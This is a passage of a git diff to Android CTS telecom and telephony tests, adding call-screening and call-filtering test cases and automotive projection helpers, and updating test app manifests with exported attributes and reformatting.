+     * @param expectedSuccess whether or not we expect the operation to succeed.
+     */
+    private void requestAndVerifyAutomotiveProjection(ICtsCarModeInCallServiceControl control,
+            boolean expectedSuccess) {
+        try {
+            assertEquals(expectedSuccess, control.requestAutomotiveProjection());
+        } catch (SecurityException se) {
+            fail("Not allowed to request automotive projection!");
+        } catch (RemoteException re) {
+            fail("Bee-boop; can't control the incall service");
+        }
+    }
+
+    /**
+     * Uses the control interface to release automotive projection.
+     */
+    private void releaseAutomotiveProjection(ICtsCarModeInCallServiceControl control) {
+        try {
+            control.releaseAutomotiveProjection();
+        } catch (SecurityException se) {
+            fail("Not allowed to release automotive projection!");
+        } catch (RemoteException re) {
+            fail("Bee-boop; can't control the incall service");
+        }
+    }
+
     private void disconnectAllCallsAndVerify(ICtsCarModeInCallServiceControl controlBinder) {
         try {
             controlBinder.disconnectCalls();
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index 95ea9bc..cacf403 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -25,6 +25,8 @@
 import android.media.AudioManager;
 import android.net.Uri;
 import android.telecom.Call;
+import android.telecom.CallScreeningService;
+import android.telecom.CallScreeningService.CallResponse;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
 import android.telecom.PhoneAccountHandle;
@@ -285,6 +287,102 @@
 
     }
 
+    public void testCallFilteringCompleteSignalNotInContacts() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        MockCallScreeningService.enableService(mContext);
+        try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(
+                                    CallResponse.CALL_COMPOSER_ATTACHMENT_PRIORITY
+                                            | CallResponse.CALL_COMPOSER_ATTACHMENT_SUBJECT)
+                            .build();
+            MockCallScreeningService.setCallbacks(createCallbackForCsTest(response));
+
+            addAndVerifyNewIncomingCall(createTestNumber(), null);
+            MockConnection connection = verifyConnectionForIncomingCall();
+
+            Object[] callFilteringCompleteInvocations =
+                    connection.getInvokeCounter(MockConnection.ON_CALL_FILTERING_COMPLETED)
+                            .getArgs(0);
+            assertFalse((boolean) callFilteringCompleteInvocations[0]);
+            assertFalse((boolean) callFilteringCompleteInvocations[1]);
+            assertEquals(response, callFilteringCompleteInvocations[2]);
+            assertFalse((boolean) callFilteringCompleteInvocations[3]);
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+            MockCallScreeningService.disableService(mContext);
+        }
+    }
+
+    public void testCallFilteringCompleteSignalInContacts() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        Uri testNumber = createTestNumber();
+        Uri contactUri = TestUtils.insertContact(mContext.getContentResolver(),
+                testNumber.getSchemeSpecificPart());
+        TestUtils.setSystemDialerOverride(getInstrumentation());
+        MockCallScreeningService.enableService(mContext);
+        try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(
+                                    CallResponse.CALL_COMPOSER_ATTACHMENT_PRIORITY
+                                            | CallResponse.CALL_COMPOSER_ATTACHMENT_SUBJECT)
+                            .build();
+            MockCallScreeningService.setCallbacks(createCallbackForCsTest(response));
+
+            addAndVerifyNewIncomingCall(testNumber, null);
+
+            MockConnection connection = verifyConnectionForIncomingCall();
+
+            Object[] callFilteringCompleteInvocations =
+                    connection.getInvokeCounter(MockConnection.ON_CALL_FILTERING_COMPLETED)
+                            .getArgs(0);
+            assertFalse((boolean) callFilteringCompleteInvocations[0]);
+            assertTrue((boolean) callFilteringCompleteInvocations[1]);
+            assertEquals(response, callFilteringCompleteInvocations[2]);
+            assertTrue((boolean) callFilteringCompleteInvocations[3]);
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+            TestUtils.deleteContact(mContext.getContentResolver(), contactUri);
+            MockCallScreeningService.disableService(mContext);
+            TestUtils.clearSystemDialerOverride(getInstrumentation());
+        }
+    }
+
+    private MockCallScreeningService.CallScreeningServiceCallbacks createCallbackForCsTest(
+            CallScreeningService.CallResponse response) {
+        return new MockCallScreeningService.CallScreeningServiceCallbacks() {
+            @Override
+            public void onScreenCall(Call.Details callDetails) {
+
+                getService().respondToCall(callDetails, response);
+            }
+        };
+    }
+
     public void testCallDirectionOutgoing() {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 1afeeab..f46fd10 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -23,10 +23,13 @@
 import android.app.UiModeManager;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.res.Configuration;
+import android.location.Location;
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
 import android.telecom.Call;
+import android.telecom.CallScreeningService;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
 import android.telecom.InCallService;
@@ -375,6 +378,8 @@
             cleanupCalls();
             // Set device back to normal
             manager.disableCarMode(0);
+            // Make sure the UI mode has been set back
+            assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
         }
     }
 
@@ -404,6 +409,52 @@
         }
     }
 
+    public void testCallComposerAttachmentsStrippedCorrectly() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_LOCATION, new Location(""));
+        extras.putInt(TelecomManager.EXTRA_PRIORITY, TelecomManager.PRIORITY_URGENT);
+        extras.putString(TelecomManager.EXTRA_CALL_SUBJECT, "blah blah blah");
+
+        TestUtils.setSystemDialerOverride(getInstrumentation());
+        MockCallScreeningService.enableService(mContext);
+        try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(0)
+                            .build();
+
+            MockCallScreeningService.setCallbacks(
+                    new MockCallScreeningService.CallScreeningServiceCallbacks() {
+                        @Override
+                        public void onScreenCall(Call.Details callDetails) {
+                            getService().respondToCall(callDetails, response);
+                        }
+                    });
+
+            addAndVerifyNewIncomingCall(createTestNumber(), extras);
+            verifyConnectionForIncomingCall(0);
+            MockInCallService inCallService = mInCallCallbacks.getService();
+            Call call = inCallService.getLastCall();
+
+            assertFalse(call.getDetails().getExtras().containsKey(TelecomManager.EXTRA_LOCATION));
+            assertFalse(call.getDetails().getExtras().containsKey(TelecomManager.EXTRA_PRIORITY));
+            assertFalse(call.getDetails().getExtras()
+                    .containsKey(TelecomManager.EXTRA_CALL_SUBJECT));
+        } finally {
+            MockCallScreeningService.disableService(mContext);
+            TestUtils.clearSystemDialerOverride(getInstrumentation());
+        }
+    }
+
     private Uri blockNumber(Uri phoneNumberUri) {
         Uri number = insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
         if (number == null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 6b23dc6..c6ef75c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -21,6 +21,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
+import android.telecom.CallScreeningService;
 import android.telecom.Connection;
 import android.telecom.DisconnectCause;
 import android.telecom.PhoneAccountHandle;
@@ -46,6 +47,7 @@
     public static final int ON_DEFLECT = 8;
     public static final int ON_SILENCE = 9;
     public static final int ON_ADD_CONFERENCE_PARTICIPANTS = 10;
+    public static final int ON_CALL_FILTERING_COMPLETED = 11;
 
     private CallAudioState mCallAudioState =
             new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -259,6 +261,14 @@
         }
     }
 
+    @Override
+    public void onCallFilteringCompleted(boolean isBlocked, boolean isInContacts,
+            CallScreeningService.CallResponse response,
+            boolean responseFromSystemDialer) {
+        getInvokeCounter(ON_CALL_FILTERING_COMPLETED).invoke(isBlocked, isInContacts,
+                response, responseFromSystemDialer);
+    }
+
     public int getCurrentState()  {
         return mState;
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
index 7b70692..7a13f6b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.res.Configuration;
 import android.net.Uri;
 import android.os.AsyncTask;
 import android.os.IBinder;
@@ -241,6 +242,9 @@
 
         control1.disableCarMode();
         control2.disableCarMode();
+        // Make sure the UI mode has been set back
+        assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+
         mUiAutomation.dropShellPermissionIdentity();
         mContext.unbindService(controlConn1);
         mContext.unbindService(controlConn2);
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
index d251c32..fe38d3c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
@@ -55,12 +55,18 @@
 
         @Override
         public void disconnectCalls() {
-            CtsCarModeInCallService.getInstance().disconnectCalls();
+            if (CtsCarModeInCallService.getInstance() != null) {
+                CtsCarModeInCallService.getInstance().disconnectCalls();
+            }
         }
 
         @Override
         public int getCallCount() {
-            return CtsCarModeInCallService.getInstance().getCallCount();
+            if (CtsCarModeInCallService.getInstance() != null) {
+                return CtsCarModeInCallService.getInstance().getCallCount();
+            }
+            // if there's no instance, there's no calls
+            return 0;
         }
 
         @Override
@@ -76,6 +82,18 @@
         }
 
         @Override
+        public boolean requestAutomotiveProjection() {
+            UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+            return uiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        }
+
+        @Override
+        public void releaseAutomotiveProjection() {
+            UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+            uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        }
+
+        @Override
         public boolean checkBindStatus(boolean bind) {
             return CtsCarModeInCallService.checkBindStatus(bind);
         }
diff --git a/tests/tests/telecom2/Android.bp b/tests/tests/telecom2/Android.bp
index c86b7ae..abc14a8 100644
--- a/tests/tests/telecom2/Android.bp
+++ b/tests/tests/telecom2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTelecomTestCases2",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom2/AndroidManifest.xml b/tests/tests/telecom2/AndroidManifest.xml
index 00e58eb..d579152 100644
--- a/tests/tests/telecom2/AndroidManifest.xml
+++ b/tests/tests/telecom2/AndroidManifest.xml
@@ -15,69 +15,71 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telecom2.cts">
-    <uses-sdk android:minSdkVersion="21" />
+     package="android.telecom2.cts">
+    <uses-sdk android:minSdkVersion="21"/>
 
     <!--
-        This app contains tests to verify Telecom's behavior when the app is missing certain
-        permissions.
-    -->
+                This app contains tests to verify Telecom's behavior when the app is missing certain
+                permissions.
+            -->
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="android.telecom.cts.MockConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.MockInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE" >
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
         </service>
 
-        <activity android:name="android.telecom.cts.MockDialerActivity">
+        <activity android:name="android.telecom.cts.MockDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telecom2.cts"
-                     android:label="CTS tests for android.telecom package">
+         android:targetPackage="android.telecom2.cts"
+         android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/telecom2/TEST_MAPPING b/tests/tests/telecom2/TEST_MAPPING
new file mode 100644
index 0000000..b7f7d80
--- /dev/null
+++ b/tests/tests/telecom2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelecomTestCases2"
+    }
+  ]
+}
diff --git a/tests/tests/telecom3/Android.bp b/tests/tests/telecom3/Android.bp
index 84bcd1b..1b87231 100644
--- a/tests/tests/telecom3/Android.bp
+++ b/tests/tests/telecom3/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 res_dirs = ["../telecom/res"]
 android_test {
     name: "CtsTelecomTestCases3",
diff --git a/tests/tests/telecom3/AndroidManifest.xml b/tests/tests/telecom3/AndroidManifest.xml
index c606dcb..351260c 100644
--- a/tests/tests/telecom3/AndroidManifest.xml
+++ b/tests/tests/telecom3/AndroidManifest.xml
@@ -15,73 +15,78 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telecom3.cts">
-    <uses-sdk android:minSdkVersion="25" />
-    <uses-permission android:name="android.permission.CALL_PHONE" />>
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
-    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+     package="android.telecom3.cts">
+    <uses-sdk android:minSdkVersion="25"/>
+    <uses-permission android:name="android.permission.CALL_PHONE"/>&gt;
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER"/>
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="android.telecom.cts.CtsSelfManagedConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.SelfManagedAwareInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE" >
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
-            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS" android:value="true" />
-            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS" android:value="true" />
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                 android:value="true"/>
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                 android:value="true"/>
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
+                 android:value="true"/>
         </service>
 
-         <activity android:name="android.telecom.cts.MockDialerActivity">
+         <activity android:name="android.telecom.cts.MockDialerActivity"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telecom3.cts"
-                     android:label="CTS tests for android.telecom package">
+         android:targetPackage="android.telecom3.cts"
+         android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/telephony/TestFinancialSmsApp/Android.bp b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
index 4957a53..9d1a7fd 100644
--- a/tests/tests/telephony/TestFinancialSmsApp/Android.bp
+++ b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "TestFinancialSmsApp",
 
@@ -30,4 +26,4 @@
         "general-tests",
         "mts",
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp/Android.bp b/tests/tests/telephony/TestSmsApp/Android.bp
index 694d835..b2f5775 100644
--- a/tests/tests/telephony/TestSmsApp/Android.bp
+++ b/tests/tests/telephony/TestSmsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "TestSmsApp",
     sdk_version: "test_current",
@@ -31,4 +27,4 @@
         "general-tests",
         "mts",
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp/AndroidManifest.xml b/tests/tests/telephony/TestSmsApp/AndroidManifest.xml
index 210a6ee..717437e 100644
--- a/tests/tests/telephony/TestSmsApp/AndroidManifest.xml
+++ b/tests/tests/telephony/TestSmsApp/AndroidManifest.xml
@@ -15,60 +15,62 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.sms">
+     package="android.telephony.cts.sms">
 
     <uses-permission android:name="android.permission.READ_SMS"/>
 
     <application android:label="TestSmsApp">
-        <activity
-            android:name="android.telephony.cts.sms.MainActivity"
-            android:exported="true"/>
+        <activity android:name="android.telephony.cts.sms.MainActivity"
+             android:exported="true"/>
 
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name=".SmsReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
         <receiver android:name=".MmsReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
-        <activity android:name=".ComposeSmsActivity" >
+        <activity android:name=".ComposeSmsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name=".HeadlessSmsSendService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
     </application>
 </manifest>
-
diff --git a/tests/tests/telephony/TestSmsApp22/Android.bp b/tests/tests/telephony/TestSmsApp22/Android.bp
index 95a0872..3a0b476 100644
--- a/tests/tests/telephony/TestSmsApp22/Android.bp
+++ b/tests/tests/telephony/TestSmsApp22/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "TestSmsApp22",
     sdk_version: "test_current",
@@ -31,4 +27,4 @@
         "general-tests",
         "mts",
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml b/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml
index de0047d..0413ffc 100644
--- a/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml
+++ b/tests/tests/telephony/TestSmsApp22/AndroidManifest.xml
@@ -15,62 +15,64 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.sms23">
+     package="android.telephony.cts.sms23">
 
     <uses-sdk android:targetSdkVersion="22"/>
 
     <uses-permission android:name="android.permission.READ_SMS"/>
 
     <application android:label="TestSmsApp">
-        <activity
-            android:name="android.telephony.cts.sms23.MainActivity"
-            android:exported="true"/>
+        <activity android:name="android.telephony.cts.sms23.MainActivity"
+             android:exported="true"/>
 
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name=".SmsReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
         <receiver android:name=".MmsReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
-        <activity android:name=".ComposeSmsActivity" >
+        <activity android:name=".ComposeSmsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
